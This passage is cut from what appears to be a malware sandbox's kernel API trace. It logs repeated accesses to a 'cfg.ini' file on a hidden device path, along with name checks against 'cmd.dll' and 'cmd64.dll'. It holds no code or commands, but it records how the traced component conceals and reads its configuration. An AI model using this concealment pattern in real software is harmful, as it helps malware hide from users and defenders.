(in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.814] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.814] IdePortDispatch () returned 0x103 [0122.814] KeWaitForMutexObject () returned 0x0 [0122.814] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.815] KeLeaveCriticalRegion () [0122.815] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.815] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.815] KeEnterCriticalRegion () [0122.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.815] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d2b000 [0122.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.815] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.815] IdePortDispatch () returned 0x103 [0122.815] KeWaitForMutexObject () returned 0x0 [0122.815] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.815] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.815] IdePortDispatch () returned 0x103 [0122.815] KeWaitForMutexObject () returned 0x0 [0122.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.815] KeLeaveCriticalRegion () [0122.815] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.816] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.816] KeEnterCriticalRegion () [0122.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.816] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.816] KeLeaveCriticalRegion () [0122.816] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.816] KeEnterCriticalRegion () [0122.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.816] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.816] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7120, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.816] KeLeaveCriticalRegion () [0122.816] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.816] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.816] KeEnterCriticalRegion () [0122.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.816] ExFreePoolWithTag (P=0xfffffa8003be8fb0, Tag=0x0) [0122.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.816] KeLeaveCriticalRegion () [0122.816] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.816] ReleaseMutex (hMutex=0xf0) returned 1 [0122.816] Sleep (dwMilliseconds=0x124f80) [0122.830] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.830] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.830] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.830] KeEnterCriticalRegion () [0122.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.830] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.830] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.831] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.831] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.831] IdePortDispatch () returned 0x103 [0122.831] KeWaitForMutexObject () returned 0x0 [0122.831] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.831] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.831] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.831] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.831] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.831] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7310 [0122.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.831] KeLeaveCriticalRegion () [0122.831] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.831] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.831] KeEnterCriticalRegion () [0122.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.831] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.831] KeLeaveCriticalRegion () [0122.831] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.831] KeEnterCriticalRegion () [0122.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.831] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.831] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.831] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.831] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.831] IdePortDispatch () returned 0x103 [0122.831] KeWaitForMutexObject () returned 0x0 [0122.831] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.831] KeLeaveCriticalRegion () [0122.832] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.832] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.832] KeEnterCriticalRegion () [0122.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.832] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d30000 [0122.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.832] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.832] IdePortDispatch () returned 0x103 [0122.832] KeWaitForMutexObject () returned 0x0 [0122.832] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.832] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.832] IdePortDispatch () returned 0x103 [0122.832] KeWaitForMutexObject () returned 0x0 [0122.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.832] KeLeaveCriticalRegion () [0122.832] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.833] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.833] KeEnterCriticalRegion () [0122.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.833] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.833] KeLeaveCriticalRegion () [0122.833] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.833] KeEnterCriticalRegion () [0122.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.833] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.833] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.833] KeLeaveCriticalRegion () [0122.833] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.833] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.833] KeEnterCriticalRegion () [0122.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.833] ExFreePoolWithTag (P=0xfffffa8003be7310, Tag=0x0) [0122.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.833] KeLeaveCriticalRegion () [0122.833] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.833] ReleaseMutex (hMutex=0xf0) returned 1 [0122.833] Sleep (dwMilliseconds=0x124f80) [0122.849] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.849] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.849] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.849] KeEnterCriticalRegion () [0122.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.849] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.849] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.849] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.849] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.849] IdePortDispatch () returned 0x103 [0122.849] KeWaitForMutexObject () returned 0x0 [0122.849] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.850] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.850] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.850] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.850] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.850] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7010 [0122.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.850] KeLeaveCriticalRegion () [0122.850] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.850] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.850] KeEnterCriticalRegion () [0122.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.850] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.850] KeLeaveCriticalRegion () [0122.850] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.850] KeEnterCriticalRegion () [0122.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.850] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.850] IdePortDispatch () returned 0x103 [0122.850] KeWaitForMutexObject () returned 0x0 [0122.850] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.850] KeLeaveCriticalRegion () [0122.850] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.850] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.850] KeEnterCriticalRegion () [0122.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.850] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d35000 [0122.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.850] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.850] IdePortDispatch () returned 0x103 [0122.851] KeWaitForMutexObject () returned 0x0 [0122.851] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.851] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.851] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.851] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.851] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.851] IdePortDispatch () returned 0x103 [0122.851] KeWaitForMutexObject () returned 0x0 [0122.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.851] KeLeaveCriticalRegion () [0122.851] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.851] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.851] KeEnterCriticalRegion () [0122.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.851] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.851] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.852] KeLeaveCriticalRegion () [0122.852] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.852] KeEnterCriticalRegion () [0122.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.852] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.852] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.852] KeLeaveCriticalRegion () [0122.852] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.852] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.852] KeEnterCriticalRegion () [0122.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.852] ExFreePoolWithTag (P=0xfffffa8003be7010, Tag=0x0) [0122.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.852] KeLeaveCriticalRegion () [0122.852] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.852] ReleaseMutex (hMutex=0xf0) returned 1 [0122.852] Sleep (dwMilliseconds=0x124f80) [0122.866] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.866] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.866] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.866] KeEnterCriticalRegion () [0122.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.866] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.866] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.866] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.866] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.866] IdePortDispatch () returned 0x103 [0122.866] KeWaitForMutexObject () returned 0x0 [0122.866] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.866] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.866] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.866] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.866] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.866] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003826180 [0122.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.866] KeLeaveCriticalRegion () [0122.866] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.866] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.866] KeEnterCriticalRegion () [0122.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.866] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.866] KeLeaveCriticalRegion () [0122.866] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.866] KeEnterCriticalRegion () [0122.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.866] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.866] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.866] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.867] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.867] IdePortDispatch () returned 0x103 [0122.867] KeWaitForMutexObject () returned 0x0 [0122.867] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.867] KeLeaveCriticalRegion () [0122.867] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.867] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.867] KeEnterCriticalRegion () [0122.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.867] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d3a000 [0122.867] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.867] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.867] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.867] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.867] IdePortDispatch () returned 0x103 [0122.867] KeWaitForMutexObject () returned 0x0 [0122.867] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.867] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.867] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.867] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.867] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.867] IdePortDispatch () returned 0x103 [0122.867] KeWaitForMutexObject () returned 0x0 [0122.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.868] KeLeaveCriticalRegion () [0122.868] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.868] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, 